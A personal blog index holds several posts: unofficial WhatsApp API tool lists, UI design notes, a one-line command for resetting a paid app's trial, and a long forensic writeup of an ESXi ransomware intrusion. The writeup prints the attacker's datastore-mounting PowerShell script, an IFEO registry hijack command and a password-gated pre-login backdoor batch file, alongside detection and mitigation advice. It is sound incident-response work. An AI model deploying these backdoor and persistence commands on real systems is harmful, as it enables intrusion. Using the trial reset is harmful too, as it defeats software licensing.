Welcome to my blog.
Below is the list of all my blog posts.
List of the essential applications that you need to have Jan 29, 2023
These are my recommended must-have applications that you should try to use (at least). Sure, tastes differ, but these apps cover most of my needs. I prefer to use FOSS, and I strive to achieve this in every way possible.
Must have browser extensions Apr 11, 2023
My must have browser extensions
Leverage Whatsapp like your own API! Jun 21, 2024
I have collected different variations of toolkits to make communicating with Whatsapp easier without creating a business account.
Use at your own risk! I'm not responsible for any misuse of the information provided here.
Libraries
- GitHub - pedroslopez/whatsapp-web.js: A WhatsApp client library for NodeJS that connects through the WhatsApp Web browser app - I think the most stable implementation of Whatsapp is based on the web version. Minimal reverse engineering goes on here (versus other implementations), so it's more likely to be stable than others.
- GitHub - WhiskeySockets/Baileys: Lightweight full-featured typescript/javascript WhatsApp Web API - reverse engineered implementation of Whatsapp. Communicates using Websockets. Pros: No browser simulation, Cons: Hight risk of getting banned. Problems - there's some problem with implementation itself, so it will require some time to get it working by writing plenty workaround above the library abstraction.
- GitHub - open-wa/wa-automate-nodejs: 💬 🤖 The most reliable tool for chatbots with advanced features. Be sure to 🌟 this repository for updates!
- GitHub - sigalor/whatsapp-web-reveng: Reverse engineering WhatsApp Web. - description itself stands on its own.
- GitHub - Auties00/Cobalt: Standalone unofficial fully-featured Whatsapp Web and Mobile API for Java and Kotlin - I don't know if it's still maintained, but it's a good start point for Java developers.
- GitHub - wppconnect-team/wppconnect: WPPConnect is an open source project developed by the JavaScript community with the aim of exporting functions from WhatsApp Web to the node, which can be used...
- GitHub - tulir/whatsmeow: Go library for the WhatsApp web multidevice API
- GitHub - Rhymen/go-whatsapp: WhatsApp Web API - solution in Golang
Rest-API
- WAHA - WAHA - WhatsApp HTTP API (REST API), under hood have two engines: chromium-based wweb-js and pure-websocket Baileys
- GitHub - chrishubert/whatsapp-api: This project is a REST API wrapper for the whatsapp-web.js library, providing an easy-to-use interface to interact with the WhatsApp Web platform.
- GitHub - ookamiiixd/baileys-api: Simple WhatsApp REST API with multiple device support
- GitHub - danielcardeenas/sulla: 👩🏻🔬 Javascript Whatsapp api library for chatbots Child projects:
- GitHub - orkestral/venom: Venom is a high-performance system developed with JavaScript to create a bot for WhatsApp, support for creating any interaction, such as customer service, media sending, sentence recognition...
- GitHub - wppconnect-team/wppconnect: WPPConnect is an open source project developed by the JavaScript community with the aim of exporting functions from WhatsApp Web to the node, which can be used...
- GitHub - open-wa/wa-automate-nodejs: 💬 🤖 The most reliable tool for chatbots with advanced features. Be sure to 🌟 this repository for updates!
- EvolutionAPI/evolution-api – Open-source WhatsApp integration API supporting both Baileys-based (free, WhatsApp Web) and official WhatsApp Cloud API connections. Offers RESTful API, multi-service chat, bot integration, and supports integrations with Typebot, Chatwoot, Dify, OpenAI, and more. Also provides a lightweight 'Lite' version for microservices.
- code-chat-br/whatsapp-api – Open-source WhatsApp API project, originally based on Baileys, providing a REST API for WhatsApp Web automation and bot development. Designed for developers seeking to integrate WhatsApp messaging into their applications with flexibility and community support.
Outdated
- GitHub - danielcardeenas/whatsapp-framework: ⚗️Whatsapp python api - Whatsapp blocks numbers now. Framework wont work properly until next version
- GitHub - Neurotech-HQ/heyoo: Opensource python wrapper to WhatsApp Cloud API - solution in Python
- GitHub - Kalebu/alright: Python wrapper for WhatsApp web-based on selenium
Third-party API solutions
- WhatsApp API for bulk messages, groups, channels, statuses
- Unofficial WhatsApp API for Developers | Free Trial WhatsApp API
- WASenderApi – Developer-focused WhatsApp API platform with unlimited messaging, no per-message fees, and support for multiple sessions via a simple REST API. Features include sending text, images, videos, documents, contacts, locations, webhook support, and SDKs for Node.js, Python, and Laravel. Transparent pricing from $6/month and a 3-day free trial.
- Unipile – Unified API platform integrating messaging, email, and calendar channels (LinkedIn, WhatsApp, Gmail, Telegram, Instagram, etc.) with 500+ endpoints. Especially strong in LinkedIn automation (profile, posts, InMail, invitations). Designed for businesses to streamline and automate multi-channel communications.
- Green-API – WhatsApp API service with no physical phone required, offering free and paid tiers. Supports messaging, media up to 100MB, GPT chatbot integration, group management, and status broadcasting. Based in Kazakhstan, with Russian support, mobile app management, and libraries for 1C:Enterprise, Node.js, Python, and Java. Free developer plan available.
- 1msg.io – WhatsApp Business API provider offering fast onboarding, scalable messaging, and automation tools for businesses and developers. Features include multi-channel support, campaign management, and integration with popular CRMs. Designed for quick setup and reliable delivery of WhatsApp messages.
- 360dialog – Official Meta Solution Partner trusted by 50,000+ businesses, providing a robust WhatsApp API platform. Enables rapid onboarding (live in 30 minutes), scalable messaging infrastructure, campaign management, analytics (360Pilot), and seamless integration for platforms and brands. Handles 4+ billion messages with proven reliability. Source
- Quickmessage Unofficial WhatsApp API – Indian provider offering an unofficial WhatsApp API for businesses. Features include sending/receiving messages, group messaging, media sharing, client management, chat history, notifications, automation (chatbots), analytics, and secure access. Designed for customer support, marketing, appointment reminders, and more. Source
- One Site Up Unofficial WhatsApp APIs – Platform providing unofficial WhatsApp API access for sending messages, media, and buttons. Offers RESTful endpoints, code samples for multiple languages (JavaScript, Python, Java), and 24/7 support. Suitable for businesses needing flexible WhatsApp integration and automation. Source
Sus Third-party API solutions
- API for messengers gateway for sending messages, marketing campaigns and bots for PHP, JavaScript and Python - looks kinda sus
- WhatsMate - Easy API for WhatsApp messaging, Telegram messaging and translating languages
WABA (WahtsApp Buisness API)
- WhatsApp Business Management API
- WhatsApp Business API | Twilio
- Gupshup - Conversational tools for customer engagement
- WhatsApp Business Platform
- 360dialog - Performance marketing for WhatsApp
- Center your workflow through Conversational AI
-
Wati | Business Messaging Made Simple on Your Favourite App!
-
UltraMsg – WhatsApp API gateway for medium and large businesses. Offers unlimited messaging, quick onboarding, REST API, and SDKs for multiple languages (PHP, Node, Python, Java, .NET, Go, etc.). Features include chatbots, notifications, automation, and 24/7 support. $39/month with free trial. Source
- GreenWABA – WhatsApp API provider with developer, chatbot, and business plans. Features include unlimited messages, media support, group messaging, integrations (Zapier, Make, Slack), and SDKs for Node.js, Python, Go, Java, and 1C:Enterprise. Free developer tier available. Source
- CallMeBot – Free and paid WhatsApp API for sending messages, notifications, and alerts. Simple HTTP API, no coding required for basic use. Suitable for IoT, home automation, and personal notifications. Source
- Wassenger – WhatsApp API platform for developers and businesses. Features include multi-device support, real-time webhooks, message queueing, media, and group management. Offers automation, analytics, and integrations. Source
- APISender – WhatsApp API for sending messages, media, and files. Provides RESTful endpoints, automation, and integration with CRMs and other platforms. Source
- APIChat – WhatsApp API provider with RESTful endpoints, automation, and integration features. Offers code samples, webhooks, and multi-language support. Source
- APIChat (EN) – English documentation and support for APIChat WhatsApp API. Source
- WBizTool – WhatsApp API and automation platform for businesses. Features include bulk messaging, chatbots, campaign management, and analytics. Source
- Wazzup24 – WhatsApp and Instagram messaging API for sales and support teams. Offers CRM integrations, automation, and analytics. Source
- WhatsGate – Russian WhatsApp API provider for sending and receiving messages, media, and notifications. Offers automation and integration with business systems. Source
- Umnico WhatsApp Integration – Multi-channel messaging platform with WhatsApp API integration. Features include CRM integration, automation, analytics, and support for multiple messengers. Source
- Chat-API – API for messenger automation and integration. Offers messaging, media, group management, and webhooks. Note: Received a cease and desist from WhatsApp. See PDF. Source
Custom Telegram client API credentials Jul 17, 2023
There are Telegram Custom Clients API credentials.
Disclaimer 1: I don't own any of them. These credentials are for educational purposes only and taken from open sources.
Disclaimer 2: You can't just copy and paste official client credentials into custom bundled client. Telegram server doesn't let you to have more than 1 account. If you want see this limitation in real world use Telegraher (outdated).
Reset the trial version of Transcribe! on Linux (and maybe MacOS) Jul 23, 2023
For Windows, we have a number of keygen activators that allow we to use Transcribe! free of charge. For Linux, these keygens are not compatible, so we have to do something about that. Without many words, let's just give you a script that will reset the trial version of Transcribe!
rm ~/.yeqwqauh ~/.Transcribe!7
Yep, that is :) Deleting these files will reset Transcribe! settings, including trial information.
UI design - the bad and the good
Mar 17, 2025
Good
Form action button still active when user doesn't select all fields
Very cool design logic in Github.com repository creating page. I didn't select owner, and after clicking "Create repository" it's shows me warning under owner input "Please select an owner". Most services probably would just make button disabled, until inner form validation logic wouldn't pass requirements.
As alternative I would suggest to hide all other junk stuff below description, and after selection owner and repository name it would just pop up under

Bad
Burger on right side, but sidebar itself on the left side

Не разделять сущности по цвету/дизайну
Example 1 - Mobile application Active

Загаловок написан - Выберите номер. Так а какого фига задается PAPA, то есть считай мой добавленый номер по дизайну в одном ряду с действиями? Ну вот я назвал номер PAPA, а что если назову "- DELETE A NUMBER" или же добавлю десять "CANCEL"?. Круто? Круто!
Второй прикол здесь - когда нажимаешь на Log out он тебя выбрасывает сразу же без дополнительных предупреждении. Тип прикинь ты хотел нажать на Cancel но "привет тачпад" экран у тебя залип и ты случайно тыкнул Log out.
Example 2 - Bitrix
Тоже самое, сами смотрите:
Самое последнее это совсем другое окно, притом самого Битрикса, а верхние это уже пользовательские воронки. Я эту кнопку после гуглинга только смог найти, хотя вроде его местоположение правильное, но вот дизайн сам увы.
Encrypting an ESXi estate without ever running code on ESXi Aug 11, 2026
A GlobeImposter affiliate encrypted 34 virtual machine disks — 21.87 TB — across an eleven-host ESXi estate in a single evening. They never ran a single line of code on a hypervisor. No esxcli, no Linux ELF encryptor, no Python script dropped into /tmp, no vim-cmd vmsvc/power.off loop. The entire ESXi-ransomware detection playbook that the industry built between 2021 and 2024 would have caught precisely nothing.
Instead they harvested ESXi root credentials from a browser password store, mounted all eleven VMFS datastores as Windows drive letters over SSHFS-Win, and ran one 54 KB Windows encryptor across every mount at once.
From the hypervisors' point of view, this was an authenticated root SSH session performing SFTP writes. Which is what an administrator moving files looks like.
This post is a writeup of the forensic reconstruction: the technique, the toolkit, the seventeen-hour operator shift rebuilt second-by-second from artefacts that survived a deliberate seven-script wipe, why 97 % of the data came back without paying, and — the part I care most about — the claims I had to retract along the way and the analytical traps that produced them.
Everything identifying is removed: organisation, hosts, accounts, credentials, campaign identifiers, operator contact addresses. Internal addresses appear as <esxi-01>-style placeholders. What is left is tradecraft, artefact behaviour, and method.
TL;DR
- Technique: ESXi datastores mounted as Windows drive letters via SSHFS-Win + WinFsp; one Windows encryptor walked eleven mounts. Zero hypervisor-side execution.
- Damage: 85 MiB of ciphertext against 21.87 TB of virtual disks. 0.0004 % of bytes destroyed.
- Recovery: 33 of 34 disks (97 %) recovered without the key, from backup GPT headers, ext4 backup superblocks and NTFS backup boot sectors that all sit outside the malware's fixed blast radius.
- Bonus recovery: ~50 % of every small encrypted file survives as plaintext. A browser's encrypted master-key store yielded all 40 stored credentials.
- Forensics: event logs were annihilated (137 channels cleared, Event Log service deleted). USN, MFT
SI-vs-FN, RDP bitmap cache, UserAssist, Amcache and PCA reconstructed the session anyway. - Anti-lesson: runlist-based file recovery on a thin-provisioned TRIM volume produces convincing false positives. One nearly became a published IOC.
1. The environment, in the abstract
One Windows backup server. Eleven ESXi hosts across two internal /24s. 34 flat VMDKs totalling 21.87 TB. A vCenter. A domain controller. An application server. Standard mid-size estate.
The backup server is the important character here, and not because it holds backups. It holds:
- install rights and a logged-in administrator profile,
- network reach to every hypervisor by design,
- a backup product whose configuration database stores decryptable credentials for everything it has ever authenticated against — vCenter, ESXi root, guest-OS accounts used for application-aware processing, SQL, cloud repositories,
- and, in this case, a browser with 40 saved passwords, because it doubled as somebody's workstation.
It also doubled as somebody's personal workstation: a torrent client with 43 GiB of lifetime traffic, cracked software from a well-known warez portal, a cracked licence for the backup product itself, and a WinPE rescue toolkit from a Russian tracker. That is the leading hypothesis for initial access. It is not proven, and I will come back to why I refuse to state it as fact.
2. The technique: SSHFS-Win as a ransomware transport
At 11:47 on the attack day the operator installed two MSIs: WinFsp (a FUSE-alike user-space filesystem driver for Windows) and SSHFS-Win (an SFTP client that presents a remote path as a Windows filesystem). Both are legitimate, signed, widely used open-source software.
Ten hours later, at 21:09:13, a PowerShell script was written to disk. 2.6 seconds later the first mount registered. Eleven mounts came up roughly one second apart, finishing at 21:09:26.
The script was reconstructed from RDP bitmap-cache tiles — partial visibility, key lines legible:
$login = "root"
$password = "<harvested>"
$ips = Get-Content "ip.txt"
foreach ($ip in $ips) {
$path = "\\sshfs\root@$ip\vmfs"
$letter = (65..90 | Where-Object { -not (Get-PSDrive -Name ([char]$_) -EA 0) })[0]
net use "$([char]$letter):" $path /user:$login $password
}
Twelve lines. ip.txt was exactly 158 bytes — eleven addresses, one per line.
That reconstruction was later confirmed against a primary source: HKCU\Network, which the kernel writes at connect time and which nobody thinks to wipe.
| Drive | RemotePath | Key lastwrite (UTC) |
|---|---|---|
A: |
\\sshfs\root@<esxi-01>\vmfs |
21:09:17 |
B: |
\\sshfs\root@<esxi-02>\vmfs |
21:09:18 |
H: |
\\sshfs\root@<esxi-03>\vmfs |
21:09:18 |
I: |
\\sshfs\root@<esxi-04>\vmfs |
21:09:20 |
J: |
\\sshfs\root@<esxi-05>\vmfs |
21:09:21 |
K: |
\\sshfs\root@<esxi-06>\vmfs |
21:09:22 |
L: |
\\sshfs\root@<esxi-07>\vmfs |
21:09:23 |
M: |
\\sshfs\root@<esxi-08>\vmfs |
21:09:24 |
N: |
\\sshfs\root@<esxi-09>\vmfs |
21:09:24 |
O: |
\\sshfs\root@<esxi-10>\vmfs |
21:09:25 |
P: |
\\sshfs\root@<esxi-11>\vmfs |
21:09:26 |
Every entry carries UserName = root and ProviderName = Windows File System Proxy — WinFsp's provider string. That is the mechanism confirmed from the kernel's own bookkeeping rather than from squinting at 64×64 pixel tiles.
Two of the letter mappings I had originally read off the bitmap cache were wrong — off by one host each. The registry corrected them. But notice what the corrected allocation is: A B H I J K L M N O P. C through G were already in use on that machine. That is exactly what the free-drive-letter loop in the reconstructed script predicts, and the script came from an independent artefact. When a reconstruction's logic predicts an observation made from a different source, the reconstruction is structurally right even where individual details were misread. That is worth more than either artefact alone.
Encryption across the eleven mounts ran 21:20–21:26 as a single Windows process walking drive letters.
2.1 What the hypervisors saw
Nothing worth an alert.
- No ransomware process on ESXi. Nothing in hypervisor telemetry to detect, because nothing hypervisor-side executed.
- The encryption load presents as an outbound SSH/SFTP session from a legitimate management host to each hypervisor, authenticating as root with valid credentials.
- No
esxcliinvocations. No shell scripts. No unknown binaries staged in/tmpor/vmfs/volumes. No VM power-off loop — the classic ESXi-encryptor tell, since most families must stop VMs to get exclusive access to their disks. This one did not bother: intermittent encryption of a running VM's flat VMDK works fine when you only intend to destroy 2.5 MiB of it. - Modern ESXi does not log SSH source addresses the way older versions did, so even the surviving hypervisor auth logs are thin.
The detection surface, such as it is, is on the Windows side and in the network:
- WinFsp / SSHFS-Win driver and service installation on a server. A backup server has no legitimate reason to mount VMFS over SFTP. This is a high-signal, low-noise EDR rule and almost nobody has it.
net usemapping a\\sshfs\...UNC path. The provider stringWindows File System ProxyinHKCU\Networkis equally distinctive.- Volume and duration of SFTP writes from one host to every hypervisor simultaneously, at 21:20 on a Sunday.
2.2 The prerequisites were mundane
- ESXi root credentials for all eleven hosts. Obtained that morning in an eight-minute window (05:17–05:25) by browsing to each host's web UI and letting the browser's password manager offer the saved credential. The password family was shared across vCenter, every ESXi host, the routers and the cloud tenant. The browser password store was the estate.
- Install permission on a Windows host with reach. The operator had the administrator account.
- SSH enabled on every hypervisor. It was. It still was, long after the incident, on every host that was checked.
2.3 It broke, and the breakage is visible in the ciphertext
At 21:27:37.923 sshfs.exe crashed, writing an sshfs.exe.stackdump next to itself. Cygwin-based SSHFS is not built for eleven concurrent SSH channels under sustained high-fanout write load. When it died, the mounts went away mid-run.
The operator noticed and re-ran the encryptor eleven minutes later. That is not an inference from behaviour — it is legible in the ciphertext itself. Every encrypted image carries an appended trailer, and the trailers hash into exactly two groups:
| Blob | Images | Which run |
|---|---|---|
| A | 29 | first pass, before the crash |
| B | 5 | second pass, after the crash, on whatever was still mountable |
Two blobs, two encryption events, one crash between them. The malware documented the operator's operational failure for us.
2.4 Mitigations this specifically argues for
- ESXi SSH disabled by default, enabled only inside time-boxed maintenance automation. It is the single control that would have stopped this cold.
- Lockdown Mode for root access.
- Key + FIDO2 authentication rather than one shared root password across eleven hosts.
- EDR rules for WinFsp/SSHFS-Win installation and for
\\sshfs\UNC mounts on Windows management hosts. - Treat the backup server as tier-0. It is not a file server that happens to hold copies; it is a credential vault with network reach to every hypervisor and guest in the estate.
2.5 Attribution fingerprint
SSHFS-Win + WinFsp + \\sshfs\root@<ip>\vmfs + GlobeImposter is a distinctive tradecraft combination. As of this engagement I could not find it documented in any public affiliate profile for GlobeImposter or for the Phobos-family operators whose kit this affiliate otherwise uses verbatim. If you have seen this pattern in another engagement, that is a linkage worth making.
3. The toolkit: 121 files in three two-letter folders
The kit landed in the administrator's Music\ folder in 53 seconds (04:27:36–04:28:29). 121 files, three subfolders, each named with two letters or one:
mi\— mimikatz and credential dumpersns\— network scanner, persistence, remote access, backup-product-specific toolinge\— executor / loader
The naming is not obfuscation, it is ergonomics: short folder names keep the relative paths inside the batch scripts short. Every script references its siblings relatively — ..\mi\mimikatz\x64\mimikatz.exe, ..\e\ip.txt — so the kit drops as a unit into any user-writable directory and works without modification. It is a portable, path-independent toolkit. That design detail tells you this operator does this often.
3.1 mi\ — credential dumping
35 files. Reconstructed from the USN journal (which caught every CREATE between 04:28:18 and 04:28:29) and from MFT records that survived the toolkit being sent to the Recycle Bin at 21:19.
mi\
├── 0.start.bat 3,291 B entry-point wrapper
├── 1.Automim.bat 4,114 B automated mimikatz launcher
├── 3.Install_MimPassHunter.bat 484 B
├── 3.ViewPassMimLsa.bat 716 B
├── CredentialsFileView.exe 116,944 B NirSoft — Credential Manager / DPAPI reader
├── CredentialsFileView64.exe 155,856 B
├── CredentialsFileView64.cfg 482 B ← config mtime = when the tool RAN
├── PassMimLsa.txt 18 B output, near-empty at recycle time
├── WebBrowserPassView.exe 462,336 B ← this is what took the 40 browser credentials
├── credentialsfileview-x64\ …
└── mimikatz\
├── kiwi_passwords.yar 2,834 B
├── miparser.vbs 5,172 B
├── x32\ {mimidrv.sys, mimikatz.exe, mimilib.dll, mimilove.exe, mimispool.dll}
└── x64\
├── mimikatz.exe 1,355,264 B
├── mimidrv.sys 37,208 B signed kernel driver
├── mimikatz.log 162 B ← the smoking gun
├── CMDAsAdmin.bat 421 B
└── mimstart.bat 30 B
mimikatz.log, 162 bytes, mtime 04:28:27. A log file exists only if the binary ran. 162 bytes is about the size of a banner plus one command sequence — consistent with a scripted single-shot sekurlsa::logonpasswords or lsadump::sam fired from 1.Automim.bat. Mimikatz was executed, not merely staged, within a minute of the kit landing.
The output went to files named NTLM.txt and Result.txt. Neither survives on disk — but both were caught open in Notepad in the RDP bitmap cache later that evening. So we know the dump succeeded, we know the operator read it, and we cannot read it ourselves.
This matters for scoping. The 40 browser credentials that were recovered are only what WebBrowserPassView.exe produced. The mimikatz and Credential-Manager output is a separate, larger, unrecovered credential trove. Rotation planning has to assume the superset.
3.2 ns\ — scanning, persistence, remote access
28 files plus a full Process Hacker distribution. The interesting ones:
| File | Size | Note |
|---|---|---|
netscan.exe |
11.2 MB | SoftPerfect Network Scanner, portable |
netscan.lic |
832 B | licence refreshed two weeks before the attack |
netscan.xml |
122 KB | saved scan profiles and prior results |
oui.txt |
1.2 MB | MAC vendor DB — they brought the offline lookup tables |
GeoLite2-Country.mmdb |
3.9 MB | MaxMind geoIP DB, same reason |
PsExec.exe |
339 KB | lateral execution over 445/135 |
AnyDesk.exe |
4.0 MB | unattended remote access — staged, never run |
cmd_pass.exe |
313 KB | executed 04:31:12 |
RpcSsv.exe |
45 KB | service masquerade — the name mimics RpcSs |
fndr.vbs |
23.8 KB | file finder / recon |
wallfnd.vbs |
6.0 KB | wallet-file finder |
InstallNetCat.vbs |
2.4 KB | netcat installer |
Hyper-V Detect.vbs |
853 B | environment detection |
openrdp.bat |
303 B | enables RDP on a target |
defoff.bat / turnoff.bat |
3.6 / 33 KB | Defender kill, broad service kill |
Veeam-Get-Creds.ps1 |
2,422 B | the specialisation — see below |
Process Hacker 3.0\ |
~14 MB | including kprocesshacker.sys, NSudoAPI.dll, 30+ plugins |
Defender Control v2.1\ |
~1.4 MB | signed userland Defender killer, two variants |
Three observations.
The licence file was refreshed two weeks before the attack. The operator maintains a licensed working copy of a commercial network scanner between engagements. This kit is not disposable, and it is not a one-off download. It is a professional's tool bag.
The privilege-escalation stack is three-tier. Defender Control kills AV in userland. NSudoAPI.dll / NSudoDM.dll provide SYSTEM and TrustedInstaller elevation. kprocesshacker.sys is a signed kernel driver, and Process Hacker's driver is a well-known BYOVD candidate for terminating protected processes from kernel space. Plus TerminatorPlugin.dll and TrustedInstallerPlugin.dll in the plugin set. Whatever the AV situation had been, the kit had three independent answers to it.
wallfnd.vbs and fndr.vbs are the pre-encryption sweep. A wallet-file finder in a ransomware kit is a reminder that these operators monetise opportunistically — crypto wallets, browser stores, documents worth exfiltrating — before the encryption event that ends their access.
The one bespoke component
Veeam-Get-Creds.ps1 is 2,422 bytes of public PowerShell, dropped in unmodified. What it does:
- reads
HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication\forSqlServerName,SqlInstanceName,SqlDatabaseName, - opens the backup product's configuration database through
System.Data.SqlClient, - decrypts every stored credential — vCenter, ESXi root, Windows and Linux guest-OS accounts, SQL, backup-target hosts, cloud repositories,
- prints them in plaintext.
It is published on GitHub for "demonstration and academic purposes". This operator dropped it into an otherwise commodity Phobos-lineage kit. That is the only target-specific component in 121 files — and it is the one that turns a compromised backup server into a compromised estate.
We know it was attempted: the bitmap cache caught it open in PowerShell ISE at 13:44, with the script's own comment banner readable across several tiles and output lines at the bottom of the window showing a connection attempt to the config DB. Whether it reached the catch { exit -1 } branch is not readable from fragmented tiles. It does not really matter for planning — you have to assume it worked.
3.3 e\ — the loader
The smallest folder and the entry point.
e\
├── scan.exe stager / loader
├── Export_1.2.vbs wrapper
├── dotnet-runtime-6.0.19-win-x64.exe executed 13:58:39
├── ip.txt 158 B the eleven hypervisor addresses
├── log.txt execution log — contents gone
└── start.bat ← does not appear in the MFT inventory
The .NET runtime installer being executed at 13:58 is one of my favourite details in the whole case. It is not administrator maintenance. It is the operator discovering that a component of their kit needs a runtime that is not present, installing it, and then proceeding — seven hours before deploying the payload. That is dependency-checking. It is what "prep for main event" looks like in artefacts.
And start.bat, which UserAssist says ran at 13:58:39, does not exist in the MFT-derived inventory of that folder. The kit had at least one component more than I could reconstruct. Every inventory in an incident report is a lower bound.
4. The seventeen-hour shift
All times UTC. Sources per line noted where they are interesting — [USN] change journal, [MFT] $STANDARD_INFORMATION timestamps, [UA] UserAssist, [PCA] Program Compatibility Assistant, [AMC] Amcache.
04:27:03 AzureArcSetup.exe + shortcut written [MFT]
04:27:15 Windows Security UI opened — 14 seconds of focus [UA]
04:27:36 121-file toolkit drop begins [MFT]
04:28:29 …toolkit drop complete (53 seconds) [MFT]
04:28:27 mimikatz.log written — mimikatz ran [MFT]
04:29:33 IFEO hijack #1 planted: mpcmdrun.exe -> systray.exe
04:31:00 Defender Control run (installer failed) [PCA]
04:31:06 cmd_pass.exe — 2 seconds of focus [UA]
04:31:11 IFEO hijack #2 planted: narrator.exe -> comm.bat
04:31:13 netscan.exe — first of 43 focus events [UA]
05:17 ESXi root credentials harvested from browser… [browser store]
05:25 …eleven hosts, eight minutes
06:16:16 CredentialsFileView64.exe, first run, 76 s of focus [UA]
07:07:23 CredentialsFileView64.exe again [PCA]
11:47 WinFsp + SSHFS-Win MSIs installed
13:04:27 failed logon on the administrator account [SAM]
13:44:38 PowerShell ISE launched — 127 s of focus [UA]
13:44:52 ISE file-open dialog (MRU: ps1, txt) [UA]
13:58:13 .NET 6.0.19 runtime installer [UA]
13:58:39 e\start.bat — the file that isn't in the inventory [UA]
14:13:23 systray.exe inventory event — the IFEO redirect firing [AMC]
18:24 two backup restores of the main production VM (HotAdd)
21:09:13 mount_drives.ps1 written [USN]
21:09:16 first sshfs mount registers (2.6 s later) [registry]
21:09:17 net.exe — the net use loop [AMC]
21:09:26 eleventh mount up
21:09:44 Process Hacker — 127 s of focus [UA]
21:17:49 Defender Control, 2 runs [UA]
21:17:56 WScript.exe, 3 runs — first proof any staged .vbs executed [UA]
21:18:42 DL.exe #1 written to C:\ and timestomped [USN]
21:19:06 121-file toolkit moved to the Recycle Bin [USN]
21:20 datastore encryption pass begins across 11 mounts
21:26 …datastore pass ends
21:27:01 DL.exe #2 written to AppData\Local (3 ms write, timestomped) [USN]
21:27:01 marker file created in Users\Public (+3 ms) [USN]
21:27:01 first local C: file encrypted (+201 ms) [USN]
21:27:25 lod.bat written, timestomped to June 2023 [USN]
21:27:37 sshfs.exe crashes — stackdump written, mounts die [USN]
21:28:45 logdel1–7.bat created and self-deleted — 7 scripts in 76 ms [USN]
21:28:46 attrib.exe [AMC]
21:28:49 timeout.exe — pacing [AMC]
21:28:53 vssadmin.exe + wmic.exe — shadow copy destruction [AMC]
21:28:54 bcdedit.exe — recovery disabled [AMC]
21:29:33 137 Windows event channels cleared [USN]
21:29:36 net1.exe — service stop [AMC]
21:30:31 outbound RDP (mstsc) — 4 runs, 1,748 s cumulative focus [UA]
21:38:12 DL.exe run count reaches 2 [UA]
21:38:29 DL.exe second execution [PCA]
--- next day ---
00:33:47 DL.exe #1 deleted — first cleanup pass [USN]
05:56:58 final encryption burst on C: [USN]
06:09:08 operator RDP logon
06:19:28 DL.exe #2 deleted — second cleanup pass [USN]
06:19:39 RunOnce key written, then emptied (+11.7 s) [registry]
4.1 Two encryptors, not one
For a while, three observations looked contradictory: PCA logged the payload path as a bare \DL.exe; SRUM's application ID mapped it to a volume-root path on a different volume number than the one recorded for older artefacts; and a recovered Explorer screenshot showed DL (54 KB) sitting in a root-directory listing next to a .ppk file and lod.bat.
A full USN sweep resolved it. There were two DL.exe files with two separate MFT records, dropped 8 minutes 19 seconds apart:
DL.exe #1 — MFT rec 5612 — C:\DL.exe
21:18:42.128 CREATE
21:18:42.128 EXTEND|CREATE
21:18:42.324 OVERWRITE|EXTEND|CREATE
21:18:42.326 BASIC ← SetFileTime() = timestomp
21:18:42.326 OVERWRITE|EXTEND|CREATE|CLOSE
(next day) 00:33:47.017 DELETE|CLOSE ← first cleanup pass
DL.exe #2 — MFT rec 3214 — C:\Users\<admin>\AppData\Local\DL.exe
21:27:01.126 CREATE
21:27:01.129 OVERWRITE|EXTEND|CREATE|BASIC|CLOSE ← 3 ms write + timestomp
(next day) 06:19:28.092 DELETE|CLOSE ← second cleanup pass
PCA was not truncating a path; it was accurately logging the root copy. The SRUM volume-number mismatch was real too — HarddiskVolume numbering had shifted between 2024 and 2026 as disks were attached and detached, which is a nice reminder that device paths in SRUM are not stable identifiers across time.
The 11-minute gap between invocations is the window in which the operator noticed the crash. The two encryptor runs map onto the two ciphertext blobs.
And the 06:19:39 RunOnce write-then-empty, 11.7 seconds after the second binary was deleted, tells you the next-morning logon was a deliberate cleanup visit, not a check-in. Someone came back specifically to tidy up.
4.2 The exfiltration-shaped hole
At 18:24 — three hours before encryption, on a Sunday night — two backup restore operations landed on the box: <prod-vm>_restored and <prod-vm>_clone, both fresh copies of the organisation's main production VM, mounted via HotAdd (disks attached directly to the backup proxy so their contents can be browsed without booting the guest).
Neither destination VM exists in vCenter today. The restore-agent logs — 30 of them — are all deleted, all with reused clusters. The MFT metadata establishes that the operation happened; the contents of what was browsed are unrecoverable.
That is the operational signature of restore → browse → extract → clean up, executed against the crown-jewel VM immediately before the encryption event. No staging folder was found, no archive, no egress evidence on disk. Which brings me to the thing that is still unexamined and that I want to flag loudly for anyone doing this kind of work:
An Azure Storage Explorer profile was installed on the ransomed server. %AppData%\Roaming\StorageExplorer\ with Local Storage\leveldb, Session Storage, Network, and Code Cache directories all present. That is a GUI blob-upload client. Its LevelDB state retains account names, subscription IDs, storage-account names and recent-connection history. Unlike an SMB copy, it leaves local state. It is the single most promising unexplored exfiltration lead in the entire engagement, and the scripts that touched that path in this investigation only enumerated it in the MFT — they never parsed its contents.
If you take one operational habit from this post: when you cannot find the exfil channel, inventory the cloud storage clients installed on the box before you conclude it went out over SMB.
5. Persistence: two IFEO hijacks with two different jobs
Image File Execution Options is a registry key where a Debugger value makes Windows launch a different program instead of the named one. Two were planted 98 seconds apart:
| Target | Debugger | Purpose |
|---|---|---|
mpcmdrun.exe |
systray.exe — genuine signed 32 KB Microsoft inbox stub |
Neutering |
narrator.exe |
comm.bat — attacker script, 215 B, recovered |
Backdoor |
An earlier draft of my analysis treated both debugger targets as unrecovered attacker binaries, which was wrong and which mattered. Amcache resolved systray.exe to a genuine, signed, IsOsComponent = 1 Microsoft binary of 32,768 bytes. So the first hijack is not payload delivery at all — it is Defender's own command-line interface being redirected to a harmless do-nothing OS component. Every scheduled scan, every signature update, every remediation task now silently no-ops. Nothing malicious executes, so there is nothing malicious to detect. It is cleaner tradecraft than dropping a fake mpcmdrun.exe would have been.
The second hijack is the one I find genuinely elegant. Installer, 149 bytes, one command:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe" /f /v Debugger /t REG_SZ /d "%windir%\comm.bat"
Payload, 215 bytes:
MODE CON: COLS=45 LINES=1
@Echo off
color 02
title
cls
:Password
Set input=
set /p input=
if "%input%"=="<code>" goto YES
if not "%input%"=="<code>" goto NO
exit
:YES
Start cmd.exe
Exit
:NO?
exit ?
A green terminal window one line tall and 45 columns wide, showing nothing but a cursor. Type the right code, get a fully privileged cmd.exe. Type anything else, it exits silently.
The trigger is the point. narrator.exe is the Windows accessibility screen reader, and it is reachable from the RDP login screen — Win+Ctrl+Enter, or the Ease of Access button — before authentication. So the access path is: reach any RDP login screen on this host, invoke Narrator, receive a SYSTEM shell.
